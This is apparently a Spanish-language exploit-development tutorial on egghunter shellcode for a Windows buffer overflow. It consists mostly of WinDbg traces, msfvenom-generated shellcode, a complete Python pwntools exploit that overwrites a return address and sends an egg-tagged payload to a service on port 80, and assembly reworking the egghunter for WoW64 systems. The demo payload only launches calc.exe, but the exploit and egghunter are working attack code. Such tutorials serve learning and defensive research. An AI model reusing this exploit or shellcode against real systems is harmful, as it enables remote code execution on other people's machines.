eip=01adeaab esp=01adea24 ebp=41414141 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
01adeaab 75e7 jne 01adea94 [br=1]
0:000> u 01adea94
01adea94 42 inc edx
01adea95 52 push edx
01adea96 31c0 xor eax,eax
01adea98 66b8c901 mov ax,1C6h
01adea9c cd2e int 2Eh
01adea9e 3c05 cmp al,5
01adeaa0 5a pop edx
01adeaa1 74ec je 01adea8f
Para ahorrar tiempo buscaremos el huevo en toda la memoria y la dirección donde sabemos que esta la guardaremos en edi
para asi cumplir la condición
0:000> s -a 0 L?80000000 w00tw00t
03be8183 77 30 30 74 77 30 30 74-43 43 43 43 43 43 43 43 w00tw00tCCCCCCCC
0:000> r edi=0x03be8183
Ahora cuando compara el contenido de edi
con eax
la condicion se cumple por lo que no aumentara la dirección sino que seguira con el flujo del programa
0:000> r
eax=74303077 ebx=001a2aa8 ecx=037dea20 edx=00400001 esi=001a2aa8 edi=03be8183
eip=037deaaa esp=037dea24 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
037deaaa af scas dword ptr es:[edi] es:0023:03be8183=74303077
0:000> p
eax=74303077 ebx=001a2aa8 ecx=037dea20 edx=00400001 esi=001a2aa8 edi=03be8187
eip=037deaab esp=037dea24 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
037deaab 75e7 jne 037dea94 [br=0]
0:000> p
eax=74303077 ebx=001a2aa8 ecx=037dea20 edx=00400001 esi=001a2aa8 edi=03be8187
eip=037deaad esp=037dea24 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
037deaad af scas dword ptr es:[edi] es:0023:03be8187=743030773
Si lo encuentra una vez volvera a comprobar que los siguientes bytes
son nuevamente del huevo, esto como dijimos antes se hace para evitar falsos positivos, si la comparación es igual la siguiente instrucción saltará al registro edi
0:000> r
eax=74303077 ebx=001a2aa8 ecx=037dea20 edx=00400001 esi=001a2aa8 edi=03be8187
eip=037deaad esp=037dea24 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
037deaad af scas dword ptr es:[edi] es:0023:03be8187=74303077
0:000> db edi L10
03e8c19f 77 30 30 74 43 43 43 43-43 43 43 43 43 43 43 43 w00tCCCCCCCCCCCC
0:000> p
eax=74303077 ebx=001a2aa8 ecx=037dea20 edx=00400001 esi=001a2aa8 edi=03be818b
eip=037deaae esp=037dea24 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
037deaae 75e4 jne 037dea94 [br=0]
0:000> p
eax=74303077 ebx=001a2aa8 ecx=037dea20 edx=00400001 esi=001a2aa8 edi=03be818b
eip=037deab0 esp=037dea24 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
037deab0 ffe7 jmp edi {03be818b}
Y como el registro edi
apunta a nuestro shellcode
cuando salte ejecutará las instrucciones que enviemos después del huevo, asi logramos ejecutar el shellcode
0:000> db edi
03be818b 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
03be819b 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
03be81ab 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
03be81bb 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
03be81cb 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
03be81db 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
03be81eb 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
03be81fb 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0:000> p
eax=74303077 ebx=001a2aa8 ecx=037dea20 edx=00400001 esi=001a2aa8 edi=03be818b
eip=03be818b esp=037dea24 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
03be818b 43 inc ebx
Ya que tenemos una forma de ejecutar instrucciones podemos generar un shellcode con msfvenom
que en caso de interpretarse ejecute el comando calc.exe
❯ msfvenom -p windows/exec CMD=calc.exe -f python -v shellcode -b '\x00\x0a\x0d' -e x86/jmp_call_additive
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 225 (iteration=0)
x86/jmp_call_additive chosen with final size 225
Payload size: 225 bytes
Final size of python file: 1274 bytes
shellcode = b""
shellcode += b"\xfc\xbb\xb5\xf0\xa4\xca\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x49\x18\x26\xca\xb1\xd9\x47\x42"
shellcode += b"\x54\xe8\x47\x30\x1d\x5b\x78\x32\x73\x50\xf3"
shellcode += b"\x16\x67\xe3\x71\xbf\x88\x44\x3f\x99\xa7\x55"
shellcode += b"\x6c\xd9\xa6\xd5\x6f\x0e\x08\xe7\xbf\x43\x49"
shellcode += b"\x20\xdd\xae\x1b\xf9\xa9\x1d\x8b\x8e\xe4\x9d"
shellcode += b"\x20\xdc\xe9\xa5\xd5\x95\x08\x87\x48\xad\x52"
shellcode += b"\x07\x6b\x62\xef\x0e\x73\x67\xca\xd9\x08\x53"
shellcode += b"\xa0\xdb\xd8\xad\x49\x77\x25\x02\xb8\x89\x62"
shellcode += b"\xa5\x23\xfc\x9a\xd5\xde\x07\x59\xa7\x04\x8d"
shellcode += b"\x79\x0f\xce\x35\xa5\xb1\x03\xa3\x2e\xbd\xe8"
shellcode += b"\xa7\x68\xa2\xef\x64\x03\xde\x64\x8b\xc3\x56"
shellcode += b"\x3e\xa8\xc7\x33\xe4\xd1\x5e\x9e\x4b\xed\x80"
shellcode += b"\x41\x33\x4b\xcb\x6c\x20\xe6\x96\xfa\xb7\x74"
shellcode += b"\xad\x49\xb7\x86\xad\xfd\xd0\xb7\x26\x92\xa7"
shellcode += b"\x47\xed\xd6\x58\x02\xaf\x7f\xf1\xcb\x3a\xc2"
shellcode += b"\x9c\xeb\x91\x01\x99\x6f\x13\xfa\x5e\x6f\x56"
shellcode += b"\xff\x1b\x37\x8b\x8d\x34\xd2\xab\x22\x34\xf7"
shellcode += b"\xc8\xa5\xa6\x9b\x20\x43\x4f\x39\x3c\x8b\xaf"
shellcode += b"\xc1\x3c\x8b\xaf\xc1"
El exploit final guardará el huevo w00tw00t
seguido del shellcode en algun lugar de la memoria y al ejecutar el egghunter
este lo buscara y cuando lo encuentre lo ejecutará
#!/usr/bin/python3
from pwn import remote, p32, asm
egg = b"w00t" * 2
egghunter = b"\x31\xd2\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\xb8\xc9\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"
shellcode = b""
shellcode += b"\xfc\xbb\xc2\x02\xd8\xe2\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x3e\xea\x5a\xe2\xbe\xeb\x3a\x6a"
shellcode += b"\x5b\xda\x7a\x08\x28\x4d\x4b\x5a\x7c\x62\x20"
shellcode += b"\x0e\x94\xf1\x44\x87\x9b\xb2\xe3\xf1\x92\x43"
shellcode += b"\x5f\xc1\xb5\xc7\xa2\x16\x15\xf9\x6c\x6b\x54"
shellcode += b"\x3e\x90\x86\x04\x97\xde\x35\xb8\x9c\xab\x85"
shellcode += b"\x33\xee\x3a\x8e\xa0\xa7\x3d\xbf\x77\xb3\x67"
shellcode += b"\x1f\x76\x10\x1c\x16\x60\x75\x19\xe0\x1b\x4d"
shellcode += b"\xd5\xf3\xcd\x9f\x16\x5f\x30\x10\xe5\xa1\x75"
shellcode += b"\x97\x16\xd4\x8f\xeb\xab\xef\x54\x91\x77\x65"
shellcode += b"\x4e\x31\xf3\xdd\xaa\xc3\xd0\xb8\x39\xcf\x9d"
shellcode += b"\xcf\x65\xcc\x20\x03\x1e\xe8\xa9\xa2\xf0\x78"
shellcode += b"\xe9\x80\xd4\x21\xa9\xa9\x4d\x8c\x1c\xd5\x8d"
shellcode += b"\x6f\xc0\x73\xc6\x82\x15\x0e\x85\xc8\xe8\x9c"
shellcode += b"\xb0\xbf\xeb\x9e\xba\xef\x83\xaf\x31\x60\xd3"
shellcode += b"\x2f\x90\xc4\x2b\x7a\xb8\x6d\xa4\x23\x29\x2c"
shellcode += b"\xa9\xd3\x84\x73\xd4\x57\x2c\x0c\x23\x47\x45"
shellcode += b"\x09\x6f\xcf\xb6\x63\xe0\xba\xb8\xd0\x01\xef"
shellcode += b"\xdb\xb7\x91\x73\x35\x5d\x12\x11\x49\x9d\xe2"
shellcode += b"\xd9\x49\x9d\xe2\xd9"
offset = 253
junk = b"A" * (offset - len(egghunter))
ret = p32(0x00418674)
payload = b""
payload += egghunter
payload += junk
payload += ret
method = b""
method += asm("xor eax, eax")
method += asm("jle $+0x17")
content = b""
content += method + b" /" + payload + b"\r\n\r\n"
content += egg + shellcode
shell = remote("Windows", 80)
shell.sendline(content)
Como resultado conseguimos controlar el programa y ejecutar el shellcode que ejecuta el comando calc.exe
por lo que se abre una calculadora en la maquina
EggHunter wow64
El egghunter funciona en un Windows 10 x86
pero ¿que pasa si corremos un programa x86
en un sistema operativo x64
? pues no funciona, nos da un error de acceso al ejecutar la llamada al sistema, esto pasa porque en x64 no podemos hacer una llamada al sistema con una interrupción, tendremos que buscar alternativas
0:000> g
(1cd0.1d20): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=000001c6 ebx=02352ca0 ecx=0000000e edx=00001000 esi=02352ca0 edi=0041703c
eip=043dea9c esp=043dea20 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
043dea9c cd2e int 2Eh
0:000> p
(1cd0.1d20): Access violation - code c0000005 (!!! second chance !!!)
eax=000001c6 ebx=02352ca0 ecx=0000000e edx=00001000 esi=02352ca0 edi=0041703c
eip=043dea9c esp=043dea20 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
043dea9c cd2e int 2Eh
Para no tener que trabajar desde savant
podemos compilar el codigo asm en un .exe
y abrirlo en windbg
indicando que queremos usar la arquitectura x64
❯ nasm -f elf egghunter.asm -o egghunter.o
❯ ld egghunter.o -m i386pe -o egghunter.exe
El egghunter al ser un programa compilado en x86
en un sistema x64
podemos ver 2 versiones de cada modulo como ntdll.dll
acompañado de ntdll32.dll
0:000> g
(1cc8.296c): WOW64 breakpoint - code 4000001f (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
ntdll32!LdrpDoDebuggerBreak+0x2b:
77e48107 cc int 3
0:000:x86> lm
start end module name
00c20000 00c23000 egghunter (deferred)
764d0000 76744000 KERNELBASE (deferred)
77500000 775f0000 KERNEL32 (deferred)
77d80000 77d8a000 wow64cpu (deferred)
77d90000 77f41000 ntdll32 (pdb symbols)
8fd00000 8fd09000 wow64base (deferred)
904f0000 90547000 wow64 (deferred)
909c0000 90a4b000 wow64win (deferred)
90a50000 90a66000 wow64con (deferred)
00007ffe`914d0000 00007ffe`916e6000 ntdll (pdb symbols)
En sistemas x64
el syscall NR de NtAccessCheckAndAuditAlarm se ha mantenido bastante estatico entre versiones, este ha sido 0x29
hasta las versiones actuales
0:000:x86> u ntdll32!NtAccessCheckAndAuditAlarm
ntdll32!NtAccessCheckAndAuditAlarm:
77e06a00 b829000000 mov eax,29h
77e06a05 ba6091e277 mov edx,offset ntdll32!Wow64SystemServiceCall (77e29160)
77e06a0a ffd2 call edx
77e06a0c c22c00 ret 2Ch
77e06a0f 90 nop
ntdll32!NtUnmapViewOfSection:
77e06a10 b82a000000 mov eax,2Ah
77e06a15 ba6091e277 mov edx,offset ntdll32!Wow64SystemServiceCall (77e29160)
77e06a1a ffd2 call edx
¿Como hacer una llamada al sistema sin int
? dentro de la estructura TEB
con un offset de 0xc0
podemos ver un puntero llamado WOW32Reserved
, esto apunta hacia hacia wow64cpu!KiFastSystemCall
que podemos usar para hacer la llamada
0:000:x86> dt ntdll32!_TEB
+0x000 NtTib : _NT_TIB
+0x01c EnvironmentPointer : Ptr32 Void
+0x020 ClientId : _CLIENT_ID
+0x028 ActiveRpcHandle : Ptr32 Void
+0x02c ThreadLocalStoragePointer : Ptr32 Void
+0x030 ProcessEnvironmentBlock : Ptr32 _PEB
+0x034 LastErrorValue : Uint4B
+0x038 CountOfOwnedCriticalSections : Uint4B
+0x03c CsrClientThread : Ptr32 Void
+0x040 Win32ThreadInfo : Ptr32 Void
+0x044 User32Reserved : [26] Uint4B
+0x0ac UserReserved : [5] Uint4B
+0x0c0 WOW32Reserved : Ptr32 Void
+0x0c4 CurrentLocale : Uint4B
+0x0c8 FpSoftwareStatusRegister : Uint4B
0:000:x86> dds fs:[0xc0] L1
0053:000000c0 77d87000 wow64cpu!KiFastSystemCall
A nuestro codigo agregaremos un int3
para establecer un breakpoint y cambiamos el int 0x2e
por una llamada a 0xc0
del segmento fs
que apunta a el TEB
global _start
_start:
int3
xor edx, edx ; $edx = 0x0
.page:
or dx, 0xfff ; get last address in page
.find:
inc edx ; increase memory counter
push edx ; push value to stack
push 0x29 ; push NtAccessCheckAndAuditAlarm
pop eax ; $eax = NtAccessCheckAndAuditAlarm
xor ebx, ebx ; $ebx = 0x0
mov bl, 0xc0 ; wow64cpu!KiFastSystemCall
call [fs:ebx] ; syscall
cmp al, 0x5 ; check ACCESS_VIOLATION (0xc0000005)
pop edx ; restore edx
jz .page ; if zf == 1 -> next page
mov eax, 0x74303077 ; $eax = "w00t"
mov edi, edx ; $edi = address
scasd ; cmp eax, [edi]
jnz .find ; if zf == 0 -> loop
scasd ; cmp eax, [edi]
jnz .find ; if zf == 0 -> loop
jmp edi ; if zf == 1 -> exec
El int3
en el inicio nos permite ejecutar el .exe
y detenernos antes del egghunter
0:000> g
(1cc8.296c): WOW64 breakpoint - code 4000001f (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
ntdll32!LdrpDoDebuggerBreak+0x2b:
77e48107 cc int 3
0:000:x86> g
(1cc8.296c): WOW64 breakpoint - code 4000001f (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
egghunter+0x1000:
00c21000 cc int 3
0:000:x86> u eip L14
egghunter+0x1000:
00c21000 cc int 3
00c21001 31d2 xor edx,edx
00c21003 6681caff0f or dx,0FFFh
00c21008 42 inc edx
00c21009 52 push edx
00c2100a 6a29 push 29h
00c2100c 58 pop eax
00c2100d 31db xor ebx,ebx
00c2100f b3c0 mov bl,0C0h
00c21011 64ff13 call dword ptr fs:[ebx]
00c21014 3c05 cmp al,5
00c21016 5a pop edx
00c21017 74ea je egghunter+0x1003 (00c21003)
00c21019 b877303074 mov eax,74303077h
00c2101e 89d7 mov edi,edx
00c21020 af scas dword ptr es:[edi]
00c21021 75e5 jne egghunter+0x1008 (00c21008)
00c21023 af scas dword ptr es:[edi]
00c21024 75e2 jne egghunter+0x1008 (00c21008)
00c21026 ffe7 jmp edi
El egghunter tal cual como está nos dará un par de problemas asi que analizaremos la función whNtAccessCheckAndAuditAlarm
dentro del contexto de ejecución wow64
0:000> u wow64!whNtAccessCheckAndAuditAlarm L10
wow64!whNtAccessCheckAndAuditAlarm:
00007ff8`a7d86d10 48895c2410 mov qword ptr [rsp+10h],rbx
00007ff8`a7d86d15 4889742418 mov qword ptr [rsp+18h],rsi
00007ff8`a7d86d1a 57 push rdi
00007ff8`a7d86d1b 4154 push r12
00007ff8`a7d86d1d 4155 push r13
00007ff8`a7d86d1f 4156 push r14
00007ff8`a7d86d21 4157 push r15
00007ff8`a7d86d23 4881ecb0000000 sub rsp,0B0h
00007ff8`a7d86d2a 488b054f840200 mov rax,qword ptr [wow64!_security_cookie (00007ff8`a7daf180)]
00007ff8`a7d86d31 4833c4 xor rax,rsp
00007ff8`a7d86d34 48898424a0000000 mov qword ptr [rsp+0A0h],rax
00007ff8`a7d86d3c 8b01 mov eax,dword ptr [rcx]
00007ff8`a7d86d3e 448b4904 mov r9d,dword ptr [rcx+4]
00007ff8`a7d86d42 8b5108 mov edx,dword ptr [rcx+8]
00007ff8`a7d86d45 448b410c mov r8d,dword ptr [rcx+0Ch]
00007ff8`a7d86d49 448b5110 mov r10d,dword ptr [rcx+10h]
Lo que mas destaca de primeras es que mueve a diferentes registros de 32 bits los dwords
dentro del registro rcx
, inspeccionaremos que hay en ese registro
mov eax,dword ptr [rcx]
mov r9d,dword ptr [rcx+4]
mov edx,dword ptr [rcx+8]
mov r8d,dword ptr [rcx+0Ch]
mov r10d,dword ptr [rcx+10h]
Vamos a ejecutar el egghunter para detenernos en la llamada a fs:[0xc0]
, en el stack hemos almacenado el valor de la página en edx
y hay algunos punteros más
0:000:x86> g 0x00c21011
egghunter+0x1011:
00c21011 64ff13 call dword ptr fs:[ebx] fs:0053:000000c0=00000000
0:000:x86> dds esp L4
007ffa9c 00001000
007ffaa0 77517ba9 KERNEL32!BaseThreadInitThunk+0x19
007ffaa4 004ed000
007ffaa8 77517b90 KERNEL32!BaseThreadInitThunk
0:000:x86> r
eax=00000029 ebx=000000c0 ecx=00c21000 edx=00001000 esi=00c21000 edi=00c21000
eip=00c21011 esp=007ffa9c ebp=007ffaac iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
egghunter+0x1011:
00c21011 64ff13 call dword ptr fs:[ebx] fs:0053:000000c0=00000000
El primer problema viene en los movs
, guarda en registros los valores de [rcx]
que apunta a 0x007ffaa0
que antes del call apuntaba a esp + 4
, edx es uno de los que modifica pero para nosotros es importante que el valor de edx
sea el de la página, la buena noticia es que los valores los saca del stack por lo que podriamos controlarlo, edx ahora vale 0x77517b90
que antes de la llamada estaba en esp + 0xc
0:000:x86> g wow64!whNtAccessCheckAndAuditAlarm + 0x2c
wow64!whNtAccessCheckAndAuditAlarm+0x2c:
00007ffe`9051601c 8b01 mov eax,dword ptr [rcx] ds:00000000`007ffaa0=77517ba9
0:000> p
wow64!whNtAccessCheckAndAuditAlarm+0x2e:
00007ffe`9051601e 448b4904 mov r9d,dword ptr [rcx+4] ds:00000000`007ffaa4=004ed000
0:000> p
wow64!whNtAccessCheckAndAuditAlarm+0x32:
00007ffe`90516022 8b5108 mov edx,dword ptr [rcx+8] ds:00000000`007ffaa8=77517b90
0:000> p
wow64!whNtAccessCheckAndAuditAlarm+0x35:
00007ffe`90516025 448b410c mov r8d,dword ptr [rcx+0Ch] ds:00000000`007ffaac=007ffb04
0:000> r
rax=0000000077517ba9 rbx=00000000004f0000 rcx=00000000007ffaa0
rdx=0000000077517b90 rsi=00007ffe90515ff0 rdi=00000000004ee000
rip=00007ffe90516025 rsp=00000000002fe030 rbp=00000000007ffaac
r8=0000000000000000 r9=00000000004ed000 r10=00007ffe90544050
r11=00000000007ffaa0 r12=00000000004ee000 r13=00000000002ffda0
r14=00000000004ef498 r15=00000000007ffaa0
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
wow64!whNtAccessCheckAndAuditAlarm+0x35:
00007ffe`90516025 448b410c mov r8d,dword ptr [rcx+0Ch] ds:00000000`007ffaac=007ffb04
Si a edx
le asigna el valor de esp + 0xc
podemos hacer un push
de 3 dword con valor 0x0
y el siguiente push el valor de edx
para que apunte a esa dirección
.find:
inc edx ; increase memory counter
xor ebx, ebx ; $ebx = 0x0
push edx ; push value to stack
push ebx ; push 0x0
push ebx ; push 0x0
push ebx ; push 0x0
push 0x29 ; push NtAccessCheckAndAuditAlarm
pop eax ; $eax = NtAccessCheckAndAuditAlarm
mov bl, 0xc0 ; wow64cpu!KiFastSystemCall
call [fs:ebx] ; syscall
add esp, 0xc ; clear stack
Nuestro egghunter ahora se ve de esta forma, veamos como se comporta esta vez
0:000> g
(15e4.2e74): WOW64 breakpoint - code 4000001f (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
ntdll32!LdrpDoDebuggerBreak+0x2b:
77e48107 cc int 3
0:000:x86> g
(15e4.2e74): WOW64 breakpoint - code 4000001f (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
egghunter+0x1000:
00991000 cc int 3
0:000:x86> u eip L18
egghunter+0x1000:
00991000 cc int 3
00991001 31d2 xor edx,edx
00991003 6681caff0f or dx,0FFFh
00991008 42 inc edx
00991009 31db xor ebx,ebx
0099100b 52 push edx
0099100c 53 push ebx
0099100d 53 push ebx
0099100e 53 push ebx
0099100f 6a29 push 29h
00991011 58 pop eax
00991012 b3c0 mov bl,0C0h
00991014 64ff13 call dword ptr fs:[ebx]
00991017 83c40c add esp,0Ch
0099101a 3c05 cmp al,5
0099101c 5a pop edx
0099101d 74e4 je egghunter+0x1003 (00991003)
0099101f b877303074 mov eax,74303077h
00991024 89d7 mov edi,edx
00991026 af scas dword ptr es:[edi]
00991027 75df jne egghunter+0x1008 (00991008)
00991029 af scas dword ptr es:[edi]
0099102a 75dc jne egghunter+0x1008 (00991008)
0099102c ffe7 jmp edi
Antes de hacer la llamada en el stack podemos ver 3
dwords con valor 0x0
y en la direccion esp + 0xc
se guarda el valor de edx
que apunta a la página actual
0:000:x86> g 0x00991014
egghunter+0x1014:
00991014 64ff13 call dword ptr fs:[ebx] fs:0053:000000c0=00000000
0:000:x86> dds esp L4
005ff930 00000000
005ff934 00000000
005ff938 00000000
005ff93c 00001000
Ahora al ejecutar las instrucciones mov
, en edx guarda lo que esta en [rcx+8]
que equivale a esp + 0xc
antes del call por lo que edx
vuelve a tener el mismo valor
0:000:x86> g wow64!whNtAccessCheckAndAuditAlarm + 0x2c
wow64!whNtAccessCheckAndAuditAlarm+0x2c:
00007ffe`9051601c 8b01 mov eax,dword ptr [rcx] ds:00000000`005ff934=00000000
0:000> p
wow64!whNtAccessCheckAndAuditAlarm+0x2e:
00007ffe`9051601e 448b4904 mov r9d,dword ptr [rcx+4] ds:00000000`005ff938=00000000
0:000> p
wow64!whNtAccessCheckAndAuditAlarm+0x32:
00007ffe`90516022 8b5108 mov edx,dword ptr [rcx+8] ds:00000000`005ff93c=00001000
0:000> p
wow64!whNtAccessCheckAndAuditAlarm+0x35:
00007ffe`90516025 448b410c mov r8d,dword ptr [rcx+0Ch] ds:00000000`005ff940=77517ba9
Esto deberia bastar pero al ejecutar el egghunter y hacer la llamada con una dirección válida como 0x00400000
el codigo que devuelve es 0xc0000005
como si no existiera
0:000> p
eax=00000029 ebx=000000c0 ecx=00000000 edx=00400000 esi=00401848 edi=00401848
eip=00e1f941 esp=00e1f9b8 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
00e1f941 64ff13 call dword ptr fs:[ebx] fs:0053:000000c0=77597000
0:000> p
(1e00.1d5c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=c0000005 ebx=000000c0 ecx=00000000 edx=00000000 esi=00401848 edi=00401848
eip=00e1f944 esp=00e1f9b8 ebp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
00e1f944 83c40c add esp,0Ch
Dentro de la función podemos ver que comprueba si r8d
es igual a 0
y si es asi hace un salto condicional pero al no ser 0
mas adelante intenta mover lo que esta en [r8 + 4]
sin embargo al no existir el programa corrompe y el egghunter no funciona
0:000:x86> g wow64!whNtAccessCheckAndAuditAlarm + 0xc5
wow64!whNtAccessCheckAndAuditAlarm+0xc5:
00007ff8`a7d86dd5 4585c0 test r8d,r8d
0:000> p
wow64!whNtAccessCheckAndAuditAlarm+0xc8:
00007ff8`a7d86dd8 742f je wow64!whNtAccessCheckAndAuditAlarm+0xf9 (00007ff8`a7d86e09) [br=0]
0:000> p
wow64!whNtAccessCheckAndAuditAlarm+0xca:
00007ff8`a7d86dda 488db42490000000 lea rsi,[rsp+90h]
0:000> p
wow64!whNtAccessCheckAndAuditAlarm+0xd2:
00007ff8`a7d86de2 418b4004 mov eax,dword ptr [r8+4] ds:00000000`ffff60ed=????????
0:000> p
(7a4.1114): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
wow64!whNtAccessCheckAndAuditAlarm+0xd2:
00007ff8`a7d86de2 418b4004 mov eax,dword ptr [r8+4] ds:00000000`ffff60ed=????????
Podemos solucionando facilmente seteando r8d
a 0
para que se produzca el salto y no llegue a esa instrucción, mirando las instrucciones mueve a r8d
lo que este en [rcx+0xc]
que antes de la llamada seria esp + 0x10
, asi que podemos controlarlo
mov eax,dword ptr [rcx]
mov r9d,dword ptr [rcx+4]
mov edx,dword ptr [rcx+8]
mov r8d,dword ptr [rcx+0Ch]
mov r10d,dword ptr [rcx+10h]
La solución es simple, agregar otro push de 0x0
pero esta vez antes del valor de edx, sin embargo despues de la llamada debemos limpiar el stack con un add esp, 0x4
.find:
inc edx ; increase memory counter
xor ebx, ebx ; $ebx = 0x0
push ebx ; push 0x0
push edx ; push value to stack
push ebx ; push 0x0
push ebx ; push 0x0
push ebx ; push 0x0
push 0x29 ; push NtAccessCheckAndAuditAlarm
pop eax ; $eax = NtAccessCheckAndAuditAlarm
mov bl, 0xc0 ; wow64cpu!KiFastSystemCall
call [fs:ebx] ; syscall
add esp, 0xc ; clear stack
pop edx ; restore edx
add esp, 0x4 ; clear stack
Ahora el salto condicional se cumple ya que r8d
vale 0 por lo que salta mas adelante
0:000:x86> g wow64!whNtAccessCheckAndAuditAlarm + 0xc5
wow64!whNtAccessCheckAndAuditAlarm+0xc5:
00007ff8`a7d86dd5 4585c0 test r8d,r8d
0:000> p
wow64!whNtAccessCheckAndAuditAlarm+0xc8:
00007ff8`a7d86dd8 742f je wow64!whNtAccessCheckAndAuditAlarm+0xf9 (00007ff8`a7d86e09) [br=1]
0:000> p
wow64!whNtAccessCheckAndAuditAlarm+0xf9:
00007ff8`a7d86e09 498bf0 mov rsi,r8
Pasamos ese problema pero aun queda otro, dentro de la llamada a una función mueve a rcx
el valor de r10
y mas adelante hay un salto condicional si el valor de rcx
es 0
y si no es asi ejecuta una comparación con el contenido dentro de [rcx+2]
con ax
pero al no encontrar la dirección en memoria corrompe
0:000> p
wow64!whNtAccessCheckAndAuditAlarm+0xfc:
00007ff8`a7d86e0c 498bca mov rcx,r10
0:000> p
wow64!whNtAccessCheckAndAuditAlarm+0xff:
00007ff8`a7d86e0f e8808bfeff call wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC (00007ff8`a7d6f994)
0:000> t
wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC:
00007ff8`a7d6f994 4053 push rbx
0:000> p
wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x2:
00007ff8`a7d6f996 4883ec20 sub rsp,20h
0:000> p
wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x6:
00007ff8`a7d6f99a 33c0 xor eax,eax
0:000> p
wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x8:
00007ff8`a7d6f99c 488bd9 mov rbx,rcx
0:000> p
wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0xb:
00007ff8`a7d6f99f 4885c9 test rcx,rcx
0:000> p
wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0xe:
00007ff8`a7d6f9a2 7473 je wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x83 (00007ff8`a7d6fa17) [br=0]
0:000> p
wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x10:
00007ff8`a7d6f9a4 66394102 cmp word ptr [rcx+2],ax ds:00000000`ffff60eb=????
0:000> p
(1e40.d8c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x10:
00007ff8`a7d6f9a4 66394102 cmp word ptr [rcx+2],ax ds:00000000`ffff60eb=????
La solución es igual de sencilla a la anterior ya que el orden nos lo permite, agregamos un push de 0x0
al inicio y en lugar de limpiar el stack con 0x4
lo hacemos con 0x8
.find:
inc edx ; increase memory counter
xor ebx, ebx ; $ebx = 0x0
push ebx ; push 0x0
push ebx ; push 0x0
push edx ; push value to stack
push ebx ; push 0x0
push ebx ; push 0x0
push ebx ; push 0x0
push 0x29 ; push NtAccessCheckAndAuditAlarm
pop eax ; $eax = NtAccessCheckAndAuditAlarm
mov bl, 0xc0 ; wow64cpu!KiFastSystemCall
call [fs:ebx] ; syscall
add esp, 0xc ; clear stack
pop edx ; restore edx
add esp, 0x8 ; clear stack
